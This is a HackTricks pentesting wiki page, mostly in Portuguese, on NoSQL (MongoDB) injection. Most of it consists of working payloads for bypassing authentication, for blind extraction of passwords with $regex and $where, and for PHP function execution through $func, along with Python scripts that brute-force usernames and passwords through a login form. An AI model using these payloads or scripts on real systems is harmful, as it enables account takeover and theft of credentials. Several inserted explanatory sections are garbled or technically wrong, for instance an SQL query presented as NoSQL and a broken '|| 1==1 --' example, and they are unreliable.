hacktricks/pentesting-web/nosql-injection.md
2023-06-06 18:56:34 +00:00

20 KiB

Injeção NoSQL

Use o Trickest para construir e automatizar fluxos de trabalho com as ferramentas da comunidade mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Bancos de dados NoSQL fornecem restrições de consistência mais flexíveis do que bancos de dados SQL tradicionais. Ao exigir menos restrições relacionais e verificações de consistência, os bancos de dados NoSQL geralmente oferecem benefícios de desempenho e escalabilidade. No entanto, esses bancos de dados ainda são potencialmente vulneráveis a ataques de injeção, mesmo que não estejam usando a sintaxe SQL tradicional.

Exploração

Em PHP, você pode enviar um Array alterando o parâmetro enviado de parameter=foo para parameter[arrName]=foo.

Os exploits são baseados na adição de um Operador:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Bypass de autenticação básica

Usando não igual ($ne) ou maior ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

NoSQL - Mongo

NoSQL injection is similar to SQL injection, but it targets NoSQL databases like MongoDB. The attack vector is different because NoSQL databases don't use SQL syntax, but they still use queries that can be manipulated.

Basic NoSQL Injection

The basic NoSQL injection technique involves manipulating the query parameters to bypass authentication or to retrieve sensitive information. For example, let's say we have a login form that uses MongoDB to store user credentials. The query to check if the user exists might look like this:

db.users.find({username: 'admin', password: 'password123'})

We can manipulate the query to bypass authentication by sending the following payload as the password:

password123' || 1==1 --

This will result in the following query:

db.users.find({username: 'admin', password: 'password123' || 1==1 --'})

The || 1==1 -- part of the payload will always evaluate to true, so the query will return the first user it finds, which in this case is the admin user.

Blind NoSQL Injection

Blind NoSQL injection is similar to blind SQL injection, where we can't see the results of our queries. In NoSQL injection, we can't see the results of our queries because the application doesn't return any errors or messages. However, we can still infer information by sending queries that return different responses depending on the result of the query.

For example, let's say we have an application that uses MongoDB to store user information. We can send the following query to check if the user with ID 123 exists:

db.users.find({_id: ObjectId("123")})

If the user exists, the query will return the user's information. If the user doesn't exist, the query will return an empty result. We can use this behavior to infer information about the database by sending queries that return different responses depending on the result of the query.

Preventing NoSQL Injection

To prevent NoSQL injection, you should always validate and sanitize user input. Use parameterized queries and avoid building queries using string concatenation. Additionally, limit the privileges of the database user to only what is necessary.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

Extrair informações de comprimento

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extrair informações de dados

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

NoSQL - Mongo

NoSQL injection is similar to SQL injection, but it occurs in NoSQL databases like MongoDB. The injection occurs when untrusted data is sent to the database without proper validation or sanitization.

Basic NoSQL Injection

The basic NoSQL injection technique involves manipulating the query to return additional data or bypass authentication. For example, consider the following MongoDB query:

db.users.find({username: "admin", password: "password123"})

An attacker can manipulate the query to bypass authentication by sending the following data:

{"username": {"$ne": null}, "password": {"$ne": null}}

This query will return all documents in the users collection, regardless of the username and password values.

Blind NoSQL Injection

Blind NoSQL injection occurs when the application does not return any data from the database. In this case, the attacker must use a technique called "boolean-based blind injection" to infer the data.

For example, consider the following MongoDB query:

db.users.find({username: "admin", password: "password123"})

An attacker can use the following query to infer the password value:

{"username": "admin", "password": {"$regex": "^p"}}

If the application returns data, the attacker can infer that the password value starts with "p". The attacker can continue to refine the query until the entire password is inferred.

Prevention

To prevent NoSQL injection, it is important to properly validate and sanitize all user input before sending it to the database. Additionally, it is recommended to use parameterized queries and avoid building queries using string concatenation.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Execução Arbitrária de Função PHP

Usando o operador $func da biblioteca MongoLite (usada por padrão), pode ser possível executar uma função arbitrária, como descrito neste relatório.

"user":{"$func": "var_dump"}

Obter informações de diferentes coleções

É possível usar o $lookup para obter informações de uma coleção diferente. No exemplo a seguir, estamos lendo de uma coleção diferente chamada users e obtendo os resultados de todas as entradas com uma senha correspondente a um caractere curinga.

[
  {
    "$lookup":{
      "from": "users",
      "as":"resultado","pipeline": [
        {
          "$match":{
            "password":{
              "$regex":"^.*"
            }
          }
        }
      ]
    }
  }
]

Blind NoSQL

A injeção NoSQL cega é uma técnica de injeção de código malicioso em bancos de dados NoSQL, que permite que um invasor obtenha informações confidenciais do banco de dados, como senhas, nomes de usuário e outras informações sensíveis. Essa técnica é semelhante à injeção SQL cega, mas é usada em bancos de dados NoSQL.

Como funciona

A injeção NoSQL cega é realizada explorando a falta de validação de entrada em aplicativos da web que usam bancos de dados NoSQL. O invasor pode enviar uma solicitação maliciosa para o aplicativo da web, que é projetada para explorar a vulnerabilidade de injeção NoSQL cega. A solicitação maliciosa contém um código que é executado no banco de dados NoSQL e retorna informações confidenciais ao invasor.

Exemplo

Considere o seguinte código de exemplo:

var username = req.body.username;
var password = req.body.password;
var query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
db.query(query, function(err, result) {
  if (err) throw err;
  res.send(result);
});

Este código é vulnerável a injeção NoSQL cega, pois não valida a entrada do usuário. Um invasor pode enviar uma solicitação maliciosa contendo o seguinte código:

username[$ne]=&password[$ne]=

Isso faz com que a consulta seja executada como:

SELECT * FROM users WHERE username = '' OR 1=1 AND password = '' OR 1=1

Isso retorna todas as entradas da tabela de usuários, permitindo que o invasor obtenha informações confidenciais.

Prevenção

Para prevenir a injeção NoSQL cega, é importante validar a entrada do usuário e usar consultas parametrizadas. Além disso, é importante limitar o acesso do usuário ao banco de dados e restringir as permissões de acesso.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
    print("[i] Looking for char number "+str(i+1))
    for char in alphabet:
        r = requests.get("http://chall.com?param=^"+flag+char)
        if ("<TRUE>" in r.text):
            flag += char
            print("[+] Flag: "+flag)
            break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = {'ids': payload}, verify = False)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

Cargas úteis do MongoDB

Injeção de Comando

A injeção de comando em MongoDB é semelhante à injeção de comando em SQL. A ideia é injetar um comando malicioso que será executado pelo servidor MongoDB. A seguir, algumas cargas úteis comuns para injeção de comando:

  • {"$where": "sleep(10000)"}: faz com que o servidor MongoDB durma por 10 segundos.
  • {"$where": "this.password.match(/mypassword/)"}: retorna todos os documentos em que a senha contenha a string "mypassword".
  • {"$where": "this.username == 'admin' && this.password.match(/mypassword/)"}: retorna todos os documentos em que o nome de usuário seja "admin" e a senha contenha a string "mypassword".

Injeção de Operador

A injeção de operador em MongoDB é semelhante à injeção de operador em SQL. A ideia é injetar um operador malicioso que altere a lógica da consulta original. A seguir, algumas cargas úteis comuns para injeção de operador:

  • {"username": {"$ne": null}}: retorna todos os documentos em que o campo "username" não é nulo.
  • {"username": {"$regex": ".*"}}: retorna todos os documentos em que o campo "username" contém qualquer valor.
  • {"$where": "this.username.constructor == /string/"}: retorna todos os documentos em que o campo "username" é uma string.

Injeção de Nome de Coleção

A injeção de nome de coleção em MongoDB é uma técnica que permite que um invasor acesse uma coleção que não deveria ter acesso. A seguir, uma carga útil comum para injeção de nome de coleção:

  • db['users;db.auth('attacker','password');'].find(): acessa a coleção "users" e executa o comando db.auth('attacker','password'), que autentica o invasor no banco de dados.
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

Ferramentas

Força bruta de nomes de usuário e senhas de login a partir de POST login

Este é um script simples que você pode modificar, mas as ferramentas anteriores também podem realizar essa tarefa.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                        username += c2
                        print(username)
                        break

                if c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
                    usernames.append(username[1:])
                    break
    return usernames


for u in get_usernames():
    get_password(u)

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Use Trickest para construir e automatizar fluxos de trabalho facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.
Obtenha acesso hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}